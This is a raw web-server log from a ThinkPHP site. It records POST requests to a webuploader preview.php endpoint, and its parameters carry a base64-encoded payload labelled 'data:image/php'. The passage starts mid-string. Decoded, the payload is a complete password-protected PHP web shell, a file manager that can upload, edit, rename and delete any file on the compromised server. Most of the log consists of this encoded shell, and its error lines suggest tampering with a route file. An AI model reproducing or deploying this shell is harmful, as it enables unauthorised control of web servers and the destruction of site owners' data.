ICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:50+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002757s] [吞吐率:362.70req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyI